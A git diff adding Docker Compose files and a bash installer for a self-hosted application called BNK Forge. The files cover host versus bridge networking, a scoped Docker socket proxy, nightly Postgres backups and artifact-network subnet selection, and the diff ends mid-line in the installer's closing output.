-0,0 +1 @@ +3.1.6 diff --git a/dist/docker-compose.local.yml b/dist/docker-compose.local.yml new file mode 100644 index 00000000..90793d53 --- /dev/null +++ b/dist/docker-compose.local.yml @@ -0,0 +1,136 @@ +# ============================================================================= +# Local Laptop Overrides — macOS / Windows (Docker Desktop) +# ============================================================================= +# +# Usage: +# docker compose -f docker-compose.yml -f docker-compose.local.yml up -d +# +# Switches from host networking to bridge networking with port mappings. +# Requires: Docker Compose v2.24.0+ (for !reset support) +# +# Ports exposed on your laptop: +# 443 → Nginx proxy (HTTPS — accept the self-signed cert warning) +# 80 → Nginx proxy (HTTP → redirects to HTTPS) +# 8080 → Frontend direct (no proxy, no HTTPS) +# 8000 → Backend API direct +# 8081 → MCP server + +x-local-backend-env: &local-backend-env + BNK_FORGE_DEPLOY_MODE: local + DATABASE_URL: postgresql://bnkforge:${POSTGRES_PASSWORD:-bnkforge_dev_password}@postgres:5432/bnkforge + REDIS_URL: redis://:${REDIS_PASSWORD:-bnkforge_redis_dev}@redis:6379/0 + CELERY_BROKER_URL: redis://:${REDIS_PASSWORD:-bnkforge_redis_dev}@redis:6379/0 + CELERY_RESULT_BACKEND: redis://:${REDIS_PASSWORD:-bnkforge_redis_dev}@redis:6379/0 + # Bridge mode: reach the socket proxy by service DNS (the base compose's + # 127.0.0.1:2375 is the container's own loopback here, not the host). + DOCKER_HOST: tcp://docker-socket-proxy:2375 + +networks: + bnk-local: + driver: bridge + +services: + postgres: + network_mode: !reset null + networks: + - bnk-local + ports: + - "5432:5432" + + redis: + network_mode: !reset null + networks: + - bnk-local + ports: + - "6379:6379" + + backend: + network_mode: !reset null + networks: + - bnk-local + ports: + - "8000:8000" + environment: + <<: *local-backend-env + volumes: + - module_catalog:/tmp/bnk-forge-modules + - bnk-forge-data:/app/projects + - bnk-forge-keys:/app/keys + - state_data:/app/state + - helm_cache:/home/bnkforge/.cache/helm + - helm_config:/home/bnkforge/.config/helm + - helm_charts:/app/helm_charts + - workspace_data:/app/workspaces + - ./secrets:/app/secrets:ro + - ./VERSION:/app/VERSION:ro + + celery-worker: + network_mode: !reset null + networks: + - bnk-local + environment: + <<: *local-backend-env + + celery-worker-2: + network_mode: !reset null + networks: + - bnk-local + environment: + <<: *local-backend-env + + # On the bridge network the runner services reach the daemon proxy by its + # service name (docker-socket-proxy:2375), not the host loopback. + docker-socket-proxy: + network_mode: !reset null + networks: + - bnk-local + + celery-beat: + network_mode: !reset null + networks: + - bnk-local + environment: + <<: *local-backend-env + + frontend: + network_mode: !reset null + networks: + - bnk-local + ports: + - "8080:8080" + volumes: + - ./nginx/frontend.local.conf:/etc/nginx/conf.d/default.conf:ro + + proxy: + network_mode: !reset null + networks: + - bnk-local + # Host 80/443 -> container 8080/8443. The proxy image is + # nginxinc/nginx-unprivileged running as uid 101, which cannot bind + # privileged ports, so the container side must stay unprivileged -- + # matching proxy/nginx.local.conf, which `make dist` copies to + # nginx/proxy.local.conf. See #134. + ports: + - "443:8443" + - "80:8080" + volumes: + - ./nginx/proxy.local.conf:/etc/nginx/conf.d/nginx.conf:ro + + mcp: + network_mode: !reset null + networks: + - bnk-local + ports: + - "8081:8081" + environment: + BNK_FORGE_API_URL: http://backend:8000 + BNK_FORGE_USERNAME: ${MCP_USERNAME:-admin} + BNK_FORGE_PASSWORD: ${MCP_PASSWORD:-changeme} + MCP_PORT: "8081" + + postgres-backup: + network_mode: !reset null + networks: + - bnk-local + environment: + PGHOST: postgres diff --git a/dist/docker-compose.yml b/dist/docker-compose.yml new file mode 100644 index 00000000..286b7de1 --- /dev/null +++ b/dist/docker-compose.yml @@ -0,0 +1,469 @@ +# ============================================================================= +# BNK Forge — Docker Compose (Registry Install) +# ============================================================================= +# +# This file pulls pre-built images from a container registry. +# No source code or build step required. +# +# Usage: +# Linux server: docker compose up -d +# macOS/Windows: docker compose -f docker-compose.yml -f docker-compose.local.yml up -d +# +# Prerequisites: +# - Docker Engine 24+ with Compose v2.24+ +# - Authenticated to the container registry (if private) +# +# Configuration: +# Copy .env.example to .env and set your passwords before first start. +# + +# ── Registry configuration ────────────────────────────────────────────────── +# Set BNK_FORGE_REGISTRY and BNK_FORGE_VERSION in .env or environment: +# BNK_FORGE_REGISTRY=ghcr.io/your-org (no trailing slash) +# BNK_FORGE_VERSION=3.0.1 (or "latest") + +x-backend-env: &backend-env + DATABASE_URL: postgresql://bnkforge:${POSTGRES_PASSWORD:-bnkforge_dev_password}@localhost:5432/bnkforge + REDIS_URL: redis://:${REDIS_PASSWORD:-bnkforge_redis_dev}@localhost:6379/0 + CELERY_BROKER_URL: redis://:${REDIS_PASSWORD:-bnkforge_redis_dev}@localhost:6379/0 + CELERY_RESULT_BACKEND: redis://:${REDIS_PASSWORD:-bnkforge_redis_dev}@localhost:6379/0 + # Artifact (container-image) engine talks to the Docker daemon through the + # scoped socket proxy below — never the raw host socket. Under host + # networking the proxy publishes to the host loopback, so services reach it + # at 127.0.0.1:2375. Overridable via DOCKER_HOST in .env. + DOCKER_HOST: ${DOCKER_HOST:-tcp://127.0.0.1:2375} + +x-worker-volumes: &worker-volumes + - module_catalog:/tmp/bnk-forge-modules + - bnk-forge-data:/app/projects + - bnk-forge-keys:/app/keys + - state_data:/app/state + - helm_cache:/home/bnkforge/.cache/helm + - helm_config:/home/bnkforge/.config/helm + - helm_charts:/app/helm_charts + - workspace_data:/app/workspaces + - ./secrets:/app/secrets:ro + +x-logging: &default-logging + driver: json-file + options: + max-size: "10m" + max-file: "3" + +services: + postgres: + image: postgres:16-alpine + container_name: bnk-forge-postgres + network_mode: host + logging: *default-logging + environment: + POSTGRES_USER: bnkforge + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-bnkforge_dev_password} + POSTGRES_DB: bnkforge + PGDATA: /var/lib/postgresql/data/pgdata + volumes: + - postgres_data:/var/lib/postgresql/data + restart: unless-stopped + healthcheck: + test: ["CMD-SHELL", "pg_isready -U bnkforge"] + interval: 5s + timeout: 3s + retries: 5 + deploy: + resources: + limits: + cpus: '1' + memory: 512M + reservations: + cpus: '0.25' + memory: 128M + + redis: + image: redis:7-alpine + container_name: bnk-forge-redis + network_mode: host + logging: *default-logging + environment: + REDIS_PASSWORD: ${REDIS_PASSWORD:-bnkforge_redis_dev} + command: redis-server --appendonly yes --requirepass ${REDIS_PASSWORD:-bnkforge_redis_dev} + volumes: + - redis_data:/data + restart: unless-stopped + healthcheck: + test: ["CMD-SHELL", "redis-cli -a $$REDIS_PASSWORD ping"] + interval: 5s + timeout: 3s + retries: 5 + deploy: + resources: + limits: + cpus: '0.5' + memory: 256M + reservations: + cpus: '0.1' + memory: 64M + + # Scoped Docker Engine API proxy for the artifact (container-image) engine. + # The worker NEVER mounts the raw host socket; this proxy exposes only the + # containers sub-API (create/start/logs/wait) plus image pull, so a + # misbehaving artifact image cannot reach host bind mounts, the network/volume + # APIs, or privileged ops. + docker-socket-proxy: + image: tecnativa/docker-socket-proxy:0.3.0 + container_name: bnk-forge-docker-socket-proxy + # NOT network_mode: host — under host networking the proxy would bind + # 0.0.0.0:2375 on the server (a root-equivalent surface). Instead publish + # ONLY to the host loopback; the host-net services reach it at + # 127.0.0.1:2375 (see DOCKER_HOST in the x-backend-env anchor above). + ports: + - "127.0.0.1:2375:2375" + logging: *default-logging + environment: + # Allow only container create + start/logs/wait, plus image pull. The + # runner's full surface (create/start/wait/logs/--rm, named-volume and + # volume-subpath mounts) works with exactly these — verified against + # tecnativa/docker-socket-proxy:0.3.0. + # NOTE: these switches gate the Engine API by *path*, not by request body. + # They narrow which endpoints are reachable; they do NOT inspect a + # /containers/create HostConfig, so this is not a bind-mount/privileged + # firewall. Safe here because the only caller (DockerRunner) builds a + # fixed argv — treat the argv builder as the security boundary. + CONTAINERS: "1" + POST: "1" + IMAGES: "1" # required so `docker run` can pull the digest-pinned image + AUTH: "1" # required so `docker --config` authfile is honored on pull + # Everything else denied (defaults are 0; set explicitly for clarity). + EXEC: "0" + VOLUMES: "0" + NETWORKS: "0" + SECRETS: "0" + SWARM: "0" + SERVICES: "0" + NODES: "0" + TASKS: "0" + INFO: "0" + PLUGINS: "0" + SYSTEM: "0" + DISTRIBUTION: "0" + volumes: + # The proxy itself needs the socket (read-only); services reach the daemon + # ONLY through this proxy's TCP port, never the socket directly. + - /var/run/docker.sock:/var/run/docker.sock:ro + restart: unless-stopped + deploy: + resources: + limits: + cpus: '0.5' + memory: 128M + reservations: + cpus: '0.1' + memory: 32M + + backend: + image: ${BNK_FORGE_REGISTRY:-ghcr.io/your-org}/bnk-forge-api:${BNK_FORGE_VERSION:-latest} + container_name: bnk-forge-backend + network_mode: host + logging: *default-logging + environment: + <<: *backend-env + BNK_FORGE_DEPLOY_MODE: ${BNK_FORGE_DEPLOY_MODE:-server} + HOST_REPO_PATH: ${HOST_REPO_PATH:-} + volumes: + - module_catalog:/tmp/bnk-forge-modules + - bnk-forge-data:/app/projects + - bnk-forge-keys:/app/keys + - state_data:/app/state + - helm_cache:/home/bnkforge/.cache/helm + - helm_config:/home/bnkforge/.config/helm + - helm_charts:/app/helm_charts + - workspace_data:/app/workspaces + - ./secrets:/app/secrets:ro + - ./VERSION:/app/VERSION:ro + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + restart: unless-stopped + healthcheck: + test: ["CMD", "curl", "-f", "http://localhost:8000/api/system/health"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 30s + deploy: + resources: + limits: + cpus: '2' + memory: 1G + reservations: + cpus: '0.5' + memory: 256M + + celery-worker: + image: ${BNK_FORGE_REGISTRY:-ghcr.io/your-org}/bnk-forge-worker:${BNK_FORGE_VERSION:-latest} + container_name: bnk-forge-celery-worker + network_mode: host + logging: *default-logging + command: celery -A celery_app worker --loglevel=info --concurrency=4 --queues=default,opentofu,orchestrator,cli + environment: + <<: *backend-env + volumes: *worker-volumes + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + backend: + condition: service_healthy + restart: unless-stopped + healthcheck: + test: ["CMD-SHELL", "celery -A celery_app inspect ping --destination celery@$$HOSTNAME --timeout 5 2>/dev/null | grep -q 'pong' || exit 1"] + interval: 60s + timeout: 10s + retries: 3 + start_period: 30s + deploy: + resources: + limits: + cpus: '2' + memory: 2G + reservations: + cpus: '0.5' + memory: 512M + + celery-worker-2: + image: ${BNK_FORGE_REGISTRY:-ghcr.io/your-org}/bnk-forge-worker:${BNK_FORGE_VERSION:-latest} + container_name: bnk-forge-celery-worker-2 + network_mode: host + logging: *default-logging + command: celery -A celery_app worker --loglevel=info --concurrency=4 --queues=default,opentofu,cli + environment: + <<: *backend-env + volumes: *worker-volumes + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + backend: + condition: service_healthy + restart: unless-stopped + healthcheck: + test: ["CMD-SHELL", "celery -A celery_app inspect ping --destination celery@$$HOSTNAME --timeout 5 2>/dev/null | grep -q 'pong' || exit 1"] + interval: 60s + timeout: 10s + retries: 3 + start_period: 30s + deploy: + resources: + limits: + cpus: '2' + memory: 2G + reservations: + cpus: '0.5' + memory: 512M + + celery-beat: + image: ${BNK_FORGE_REGISTRY:-ghcr.io/your-org}/bnk-forge-beat:${BNK_FORGE_VERSION:-latest} + container_name: bnk-forge-celery-beat + network_mode: host + logging: *default-logging + environment: + <<: *backend-env + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + backend: + condition: service_healthy + restart: unless-stopped + healthcheck: + test: ["CMD-SHELL", "test -f /tmp/celerybeat-schedule || test -f /app/celerybeat-schedule || celery -A celery_app inspect ping --timeout 3 2>/dev/null | grep -q 'pong' || exit 1"] + interval: 60s + timeout: 10s + retries: 3 + start_period: 30s + deploy: + resources: + limits: + cpus: '0.5' + memory: 256M + reservations: + cpus: '0.1' + memory: 64M + + frontend: + image: ${BNK_FORGE_REGISTRY:-ghcr.io/your-org}/bnk-forge-frontend:${BNK_FORGE_VERSION:-latest} + container_name: bnk-forge-frontend + network_mode: host + logging: *default-logging + environment: + - BRAND=${BRAND:-} + depends_on: + backend: + condition: service_healthy + restart: unless-stopped + healthcheck: + test: ["CMD-SHELL", "curl -f http://localhost:8080/ || exit 1"] + interval: 30s + timeout: 5s + retries: 3 + start_period: 10s + deploy: + resources: + limits: + cpus: '0.5' + memory: 128M + reservations: + cpus: '0.1' + memory: 32M + + proxy: + image: ${BNK_FORGE_REGISTRY:-ghcr.io/your-org}/bnk-forge-proxy:${BNK_FORGE_VERSION:-latest} + container_name: bnk-forge-proxy + network_mode: host + logging: *default-logging + depends_on: + frontend: + condition: service_healthy + backend: + condition: service_healthy + restart: unless-stopped + healthcheck: + test: ["CMD-SHELL", "curl -fk https://localhost:8443/api/system/health || exit 1"] + interval: 30s + timeout: 5s + retries: 3 + start_period: 10s + deploy: + resources: + limits: + cpus: '0.5' + memory: 128M + reservations: + cpus: '0.1' + memory: 32M + + mcp: + image: ${BNK_FORGE_REGISTRY:-ghcr.io/your-org}/bnk-forge-mcp:${BNK_FORGE_VERSION:-latest} + container_name: bnk-forge-mcp + network_mode: host + logging: *default-logging + environment: + BNK_FORGE_API_URL: http://localhost:8000 + BNK_FORGE_USERNAME: ${MCP_USERNAME:-admin} + BNK_FORGE_PASSWORD: ${MCP_PASSWORD:-changeme} + MCP_PORT: "8081" + MCP_LOG_LEVEL: INFO + depends_on: + backend: + condition: service_healthy + restart: unless-stopped + healthcheck: + test: ["CMD-SHELL", "python -c \"import urllib.request; req=urllib.request.Request('http://localhost:8081/mcp',headers={'Accept':'application/json,text/event-stream','Content-Type':'application/json'},data=b'{\\\"jsonrpc\\\":\\\"2.0\\\",\\\"method\\\":\\\"ping\\\",\\\"id\\\":1}'); urllib.request.urlopen(req)\" 2>/dev/null || exit 1"] + interval: 30s + timeout: 5s + retries: 3 + start_period: 15s + deploy: + resources: + limits: + cpus: '0.5' + memory: 256M + reservations: + cpus: '0.1' + memory: 64M + + postgres-backup: + image: postgres:16-alpine + container_name: bnk-forge-postgres-backup + network_mode: host + logging: *default-logging + environment: + PGHOST: localhost + PGUSER: bnkforge + PGPASSWORD: ${POSTGRES_PASSWORD:-bnkforge_dev_password} + PGDATABASE: bnkforge + BACKUP_RETENTION_DAYS: "7" + volumes: + - postgres_backups:/backups + depends_on: + postgres: + condition: service_healthy + entrypoint: ["/bin/sh", "-c"] + command: + - | + mkdir -p /backups + do_backup() { + TIMESTAMP=$$(date +%Y%m%d_%H%M%S) + BACKUP_FILE="/backups/bnkforge_$${TIMESTAMP}.sql.gz" + echo "[$$TIMESTAMP] Starting backup..." + pg_dump | gzip > "$$BACKUP_FILE" + if [ $$? -eq 0 ]; then + echo "[$$TIMESTAMP] Backup completed: $$BACKUP_FILE" + find /backups -name "bnkforge_*.sql.gz" -mtime +$${BACKUP_RETENTION_DAYS} -delete + echo "[$$TIMESTAMP] Cleaned up backups older than $${BACKUP_RETENTION_DAYS} days" + else + echo "[$$TIMESTAMP] Backup failed!" + fi + } + do_backup + while true; do + CURRENT_HOUR=$$(date +%H) + CURRENT_MIN=$$(date +%M) + # Strip leading zero so 08/09 are not misread as invalid octal in arithmetic + CURRENT_HOUR=$${CURRENT_HOUR#0} + CURRENT_MIN=$${CURRENT_MIN#0} + if [ $$CURRENT_HOUR -lt 2 ]; then + WAIT_HOURS=$$((2 - CURRENT_HOUR)) + else + WAIT_HOURS=$$((26 - CURRENT_HOUR)) + fi + WAIT_SECS=$$((WAIT_HOURS * 3600 - CURRENT_MIN * 60)) + echo "Next backup in $$WAIT_HOURS hours ($$WAIT_SECS seconds)" + sleep $$WAIT_SECS + do_backup + done + restart: unless-stopped + deploy: + resources: + limits: + cpus: '0.5' + memory: 256M + reservations: + cpus: '0.1' + memory: 64M + +# NOTE: the artifact runner network (bnk-forge-artifacts) is deliberately NOT +# declared here. No bnk-forge service can join it — under host networking a +# service may not also attach to a bridge network — and `docker compose up` does +# not create a declared network that no service references (verified on Docker +# 29.x), so declaring it here would create nothing and every artifact step would +# die with "network not found". install.sh creates it. The DockerRunner attaches +# steps to it by name — see CONTAINER_ARTIFACT_NETWORK. + +volumes: + module_catalog: + driver: local + bnk-forge-data: + driver: local + bnk-forge-keys: + driver: local + state_data: + driver: local + workspace_data: + driver: local + helm_cache: + driver: local + helm_config: + driver: local + helm_charts: + driver: local + postgres_data: + driver: local + postgres_backups: + driver: local + redis_data: + driver: local diff --git a/dist/install.sh b/dist/install.sh new file mode 100644 index 00000000..2c8be224 --- /dev/null +++ b/dist/install.sh @@ -0,0 +1,368 @@ +#!/usr/bin/env bash +# ============================================================================= +# BNK Forge — One-Command Installer +# ============================================================================= +# +# Usage: +# ./install.sh # Linux server (host networking) +# ./install.sh --local # macOS / Windows laptop (bridge networking) +# ./install.sh --help # Show help +# +# Prerequisites: +# - Docker Engine 24+ with Compose v2.24+ +# - Authenticated to the container registry (if private) +# +set -euo pipefail + +# ── Defaults ───────────────────────────────────────────────────────────────── +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +MODE="server" +COMPOSE_CMD="docker compose" + +# ── Parse arguments ────────────────────────────────────────────────────────── +while [[ $# -gt 0 ]]; do + case "$1" in + --local|-l) + MODE="local" + shift + ;; + --help|-h) + echo "BNK Forge Installer" + echo "" + echo "Usage:" + echo " ./install.sh Install on Linux server (host networking)" + echo " ./install.sh --local Install on macOS/Windows laptop (bridge networking)" + echo "" + echo "Before running, copy .env.example to .env and set your registry + passwords:" + echo " cp .env.example .env" + echo " \$EDITOR .env" + exit 0 + ;; + *) + echo "Unknown option: $1" + echo "Run: ./install.sh --help" + exit 1 + ;; + esac +done + +cd "$SCRIPT_DIR" + +# ── Preflight checks ──────────────────────────────────────────────────────── +echo "" +echo "=========================================" +echo " BNK Forge — Installation" +echo "=========================================" +echo "" +echo " Mode: $MODE" +echo " Version: $(cat VERSION 2>/dev/null || echo 'unknown')" +echo "" + +# Check Docker +if ! command -v docker &>/dev/null; then + echo "ERROR: Docker is not installed. Install Docker Engine 24+ first." + exit 1 +fi + +# Check Docker Compose v2 +if ! docker compose version &>/dev/null; then + echo "ERROR: Docker Compose v2 is not available." + echo " Install: https://docs.docker.com/compose/install/" + exit 1 +fi + +COMPOSE_VERSION=$(docker compose version --short 2>/dev/null || echo "0.0.0") +echo " Docker Compose: $COMPOSE_VERSION" + +# Check .env +if [ ! -f .env ]; then + echo "" + echo " No .env file found. Creating from .env.example..." + if [ -f .env.example ]; then + cp .env.example .env + echo " ✓ Created .env from .env.example" + echo " ⚠ Review .env and set BNK_FORGE_REGISTRY before continuing." + echo "" + echo " Edit: nano .env" + echo " Then re-run: ./install.sh $([ "$MODE" = "local" ] && echo "--local")" + exit 1 + else + echo " ERROR: No .env.example found. Cannot continue." + exit 1 + fi +fi + +# Create secrets directory if missing +mkdir -p secrets + +# ── Set compose command based on mode ──────────────────────────────────────── +if [ "$MODE" = "local" ]; then + COMPOSE_CMD="docker compose -f docker-compose.yml -f docker-compose.local.yml" + echo " Networking: bridge (Docker Desktop)" +else + COMPOSE_CMD="docker compose" + echo " Networking: host (Linux server)" +fi + +# ── Pull images ────────────────────────────────────────────────────────────── +echo "" +echo "=== Pulling images from registry ===" +$COMPOSE_CMD pull +echo " ✓ All images pulled" + +# ── Fix volume permissions ─────────────────────────────────────────────────── +echo "" +echo "=== Configuring volume permissions ===" +# Project name must match what docker compose uses (volumes are _). +# Compose reads COMPOSE_PROJECT_NAME from .env; otherwise it normalizes the +# directory name (lowercase, invalid chars like '.' stripped). +PROJECT=$(grep -E '^COMPOSE_PROJECT_NAME=' .env 2>/dev/null | head -1 | cut -d= -f2) +if [ -z "$PROJECT" ]; then + PROJECT=$(basename "$SCRIPT_DIR" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_-]//g') +fi +docker run --rm \ + -v "${PROJECT}_bnk-forge-data:/app/projects" \ + -v "${PROJECT}_bnk-forge-keys:/app/keys" \ + -v "${PROJECT}_state_data:/app/state" \ + -v "${PROJECT}_helm_cache:/home/bnkforge/.cache/helm" \ + -v "${PROJECT}_helm_config:/home/bnkforge/.config/helm" \ + -v "${PROJECT}_helm_charts:/app/helm_charts" \ + -v "${PROJECT}_workspace_data:/app/workspaces" \ + alpine:latest sh -c " \ + mkdir -p /app/projects /app/keys /app/state /app/helm_charts /app/workspaces \ + /home/bnkforge/.cache/helm /home/bnkforge/.config/helm && \ + chown -R 1000:1000 /app/projects /app/keys /app/state /app/helm_charts \ + /app/workspaces /home/bnkforge" \ + 2>/dev/null && echo " ✓ Volume permissions configured" \ + || echo " ⚠ Could not pre-configure permissions (may work anyway)" + +# ── Artifact runner network ───────────────────────────────────────────────── +# The container-image engine attaches artifact steps to this dedicated bridge +# network (keeps them off the default bridge while preserving the egress they +# need to reach cloud control planes). It must be created explicitly: no service +# joins it — under host networking a service cannot also join a bridge network — +# and compose does not create a network that no service references. +# +# Docker's auto-assigned pool (172.17.0.0/16+, typically landing on +# 172.18.0.0/16) can collide with a host's VPN/management routes, cutting off +# connectivity mid-deploy. No single hardcoded subnet is safe everywhere (a +# fixed 10.200.0.0/24 default also collided on a field site — see issue #422), +# so the subnet is resolved as: +# 1. ARTIFACT_NETWORK_SUBNET set (env or .env) -> "auto" defers to Docker's +# default-address-pools; any other value is used verbatim. +# 2. Unset -> try each ARTIFACT_NETWORK_SUBNET_CANDIDATES entry in order, +# picking the first that doesn't overlap the host's routing table. +# 3. No candidate clean -> create with no --subnet and print a warning. +# This is a compact copy of scripts/artifact_network.sh's resolution logic for +# this standalone bundle (it skips the docker-network cross-check to stay +# short, but always checks host routes). +# +# If the network already EXISTS, resolution is skipped entirely: once +# created, its own subnet becomes both a host route and (in the full script) +# an existing docker network subnet, so re-detecting would count it as a +# collision with itself and walk away every time — a mismatch warning that +# never converges (review r2 on issue #422). Re-running install.sh only warns +# when ARTIFACT_NETWORK_SUBNET is an explicit literal CIDR that doesn't match +# what's actually there; auto-detected values never warn. +ARTIFACT_NETWORK="${ARTIFACT_NETWORK:-bnk-forge-artifacts}" +if [ -z "${ARTIFACT_NETWORK_SUBNET+x}" ] && [ -f .env ]; then + _an_v="$(grep -E '^[[:space:]]*ARTIFACT_NETWORK_SUBNET=' .env 2>/dev/null | tail -n1 | cut -d= -f2- || true)" + [ -n "$_an_v" ] && ARTIFACT_NETWORK_SUBNET="$_an_v" +fi +if [ -z "${ARTIFACT_NETWORK_SUBNET_CANDIDATES+x}" ] && [ -f .env ]; then + _an_v="$(grep -E '^[[:space:]]*ARTIFACT_NETWORK_SUBNET_CANDIDATES=' .env 2>/dev/null | tail -n1 | cut -d= -f2- || true)" + [ -n "$_an_v" ] && ARTIFACT_NETWORK_SUBNET_CANDIDATES="$_an_v" +fi +unset _an_v +ARTIFACT_NETWORK_SUBNET="${ARTIFACT_NETWORK_SUBNET:-}" +ARTIFACT_NETWORK_SUBNET_CANDIDATES="${ARTIFACT_NETWORK_SUBNET_CANDIDATES:-10.200.0.0/24 192.168.200.0/24 10.213.37.0/24 172.31.255.0/24}" + +_an_overlap() { + awk -v c1="$1" -v c2="$2" ' + function pow2(n, r, i) { r = 1; for (i = 0; i < n; i++) r = r * 2; return r } + function ip2int(ip, p, n) { n = split(ip, p, "."); if (n != 4) return -1; return p[1]*16777216 + p[2]*65536 + p[3]*256 + p[4] } + function nstart(ip, pfx, b) { b = pow2(32 - pfx); return int(ip / b) * b } + function nend(ip, pfx, b) { b = pow2(32 - pfx); return nstart(ip, pfx) + b - 1 } + BEGIN { + n1 = split(c1, a1, "/"); ip1 = ip2int(a1[1]); p1 = (n1 == 2 ? a1[2] : 32) + n2 = split(c2, a2, "/"); ip2 = ip2int(a2[1]); p2 = (n2 == 2 ? a2[2] : 32) + if (ip1 < 0 || ip2 < 0) exit 1 + s1 = nstart(ip1, p1); e1 = nend(ip1, p1); s2 = nstart(ip2, p2); e2 = nend(ip2, p2) + exit (s1 <= e2 && s2 <= e1) ? 0 : 1 + }' +} + +_an_routes() { + if command -v ip >/dev/null 2>&1; then + ip route show 2>/dev/null | awk '$1 != "default" && $1 ~ /\// { print $1 }' || true + elif command -v netstat >/dev/null 2>&1; then + netstat -rn -f inet 2>/dev/null | awk ' + $1 == "Destination" || $1 == "default" { next } + $1 ~ /^(link#|lo0|127($|\.)|169\.254)/ { next } + $1 ~ /^[0-9]+(\.[0-9]+){0,3}(\/[0-9]+)?$/ { + d = $1 + if (d ~ /\//) { print d; next } + n = split(d, o, ".") + for (i = n + 1; i <= 4; i++) o[i] = 0 + printf "%s.%s.%s.%s/%d\n", o[1], o[2], o[3], o[4], n * 8 + }' || true + fi + return 0 +} + +_an_resolve() { + if [ -n "$ARTIFACT_NETWORK_SUBNET" ]; then + echo "$ARTIFACT_NETWORK_SUBNET" + return 0 + fi + _an_routes_out="$(_an_routes)" + for _an_cand in $ARTIFACT_NETWORK_SUBNET_CANDIDATES; do + _an_clean=true + for _an_r in $_an_routes_out; do + if _an_overlap "$_an_cand" "$_an_r"; then _an_clean=false; break; fi + done + if [ "$_an_clean" = true ]; then + echo "$_an_cand" + return 0 + fi + done + echo "auto" +} + +if docker network inspect "$ARTIFACT_NETWORK" >/dev/null 2>&1; then + # Already exists: nothing to resolve. Only warn if the operator pinned an + # explicit CIDR (not unset, not "auto") that doesn't match what's there. + if [ -n "$ARTIFACT_NETWORK_SUBNET" ] && [ "$ARTIFACT_NETWORK_SUBNET" != "auto" ]; then + existing_subnet=$(docker network inspect -f '{{(index .IPAM.Config 0).Subnet}}' "$ARTIFACT_NETWORK" 2>/dev/null || true) + if [ -n "$existing_subnet" ] && [ "$existing_subnet" != "$ARTIFACT_NETWORK_SUBNET" ]; then + echo "" + echo "==========================================================" + echo " WARNING: $ARTIFACT_NETWORK subnet does not match config" + echo " Existing subnet: $existing_subnet" + echo " Configured subnet: $ARTIFACT_NETWORK_SUBNET" + echo " This network was not recreated (containers may be attached)." + echo " To apply the configured subnet: stop the stack, run" + echo " docker network rm $ARTIFACT_NETWORK" + echo " then re-run this script." + echo "==========================================================" + fi + fi +else + ARTIFACT_NETWORK_RESOLVED="$(_an_resolve)" + echo "" + echo "=== Creating artifact runner network ($ARTIFACT_NETWORK) ===" + if [ "$ARTIFACT_NETWORK_RESOLVED" = "auto" ]; then + if [ "$ARTIFACT_NETWORK_SUBNET" = "auto" ]; then + echo " ARTIFACT_NETWORK_SUBNET=auto: deferring to Docker's default-address-pools." + else + echo "==========================================================" + echo " WARNING: no candidate subnet is free of host-route collisions:" + echo " $ARTIFACT_NETWORK_SUBNET_CANDIDATES" + echo " Creating $ARTIFACT_NETWORK without --subnet (Docker will pick from its" + echo " default pool, which may still collide)." + echo " Recommended: set ARTIFACT_NETWORK_SUBNET=, or dedicate a Docker" + echo " default-address-pool via /etc/docker/daemon.json:" + echo ' { "default-address-pools": [ { "base": "192.168.200.0/20", "size": 24 } ] }' + echo " then restart docker." + echo "==========================================================" + fi + docker network create --driver bridge "$ARTIFACT_NETWORK" >/dev/null + else + docker network create --driver bridge --subnet "$ARTIFACT_NETWORK_RESOLVED" "$ARTIFACT_NETWORK" >/dev/null + fi +fi + +# ── Start infrastructure ──────────────────────────────────────────────────── +echo "" +echo "=== Starting infrastructure (postgres, redis) ===" +$COMPOSE_CMD up -d postgres redis +echo " Waiting for database..." +for i in $(seq 1 20); do + if docker exec bnk-forge-postgres pg_isready -U bnkforge > /dev/null 2>&1; then + echo " ✓ Database ready" + break + fi + if [ "$i" = "20" ]; then + echo " ERROR: Database did not become ready within 20s" + echo " Check: docker logs bnk-forge-postgres" + exit 1 + fi + sleep 1 +done + +# ── Start all services ────────────────────────────────────────────────────── +echo "" +echo "=== Starting all services ===" +$COMPOSE_CMD up -d + +# ── Wait for health ───────────────────────────────────────────────────────── +echo "" +echo "=== Waiting for backend health ===" +for i in $(seq 1 12); do + if curl -sf http://localhost:8000/api/system/health > /dev/null 2>&1; then + echo " ✓ Backend healthy" + break + fi + if [ "$i" = "12" ]; then + echo " ⚠ Backend did not become healthy within 60s" + echo " Check: docker logs bnk-forge-backend" + fi + echo " Waiting... ($i/12)" + sleep 5 +done + +# ── Verify the Docker socket proxy (container-image / artifact engine) ─────── +# The artifact deploy engine runs each step as a sibling container through this +# scoped proxy. Without it, a blueprint deploy fails at the first step. +echo "" +echo "=== Verifying container-engine socket proxy ===" +if docker ps --filter name=bnk-forge-docker-socket-proxy --filter status=running -q | grep -q .; then + echo " ✓ docker-socket-proxy is running" + # In server (host-net) mode the proxy publishes to the host loopback, so the + # Docker API is reachable here at 127.0.0.1:2375 (a scoped, read-only view). + if [ "$MODE" = "server" ]; then + if curl -sf http://127.0.0.1:2375/version > /dev/null 2>&1; then + echo " ✓ Scoped Docker API reachable at tcp://127.0.0.1:2375" + else + echo " ⚠ Proxy is up but tcp://127.0.0.1:2375/version did not respond yet." + fi + fi +else + echo " ⚠ docker-socket-proxy is NOT running — the container-image (artifact)" + echo " deploy engine will fail at its first step." + echo " Check: docker logs bnk-forge-docker-socket-proxy" +fi + +# ── Show status ───────────────────────────────────────────────────────────── +echo "" +$COMPOSE_CMD ps +echo "" + +# Determine access URL +if [ "$MODE" = "local" ]; then + URL="https://localhost" +else + HOST_IP=$(ip route get 1 2>/dev/null | awk '{print $7; exit}' \ + || hostname -I 2>/dev/null | awk '{print $1}' \ + || echo "localhost") + if [ -z "$HOST_IP" ] || [ "$HOST_IP" = "127.0.0.1" ]; then HOST_IP="localhost"; fi + URL="https://$HOST_IP" +fi + +echo "=========================================" +echo " ✅ Installation complete!" +echo "" +echo " Version: $(cat VERSION 2>/dev/null || echo 'unknown')" +echo "" +echo " Open: $URL" +if [ "$URL" != "https://localhost" ]; then + echo " (accept the self-signed certificate warning)" +fi +echo "" +echo " Login: 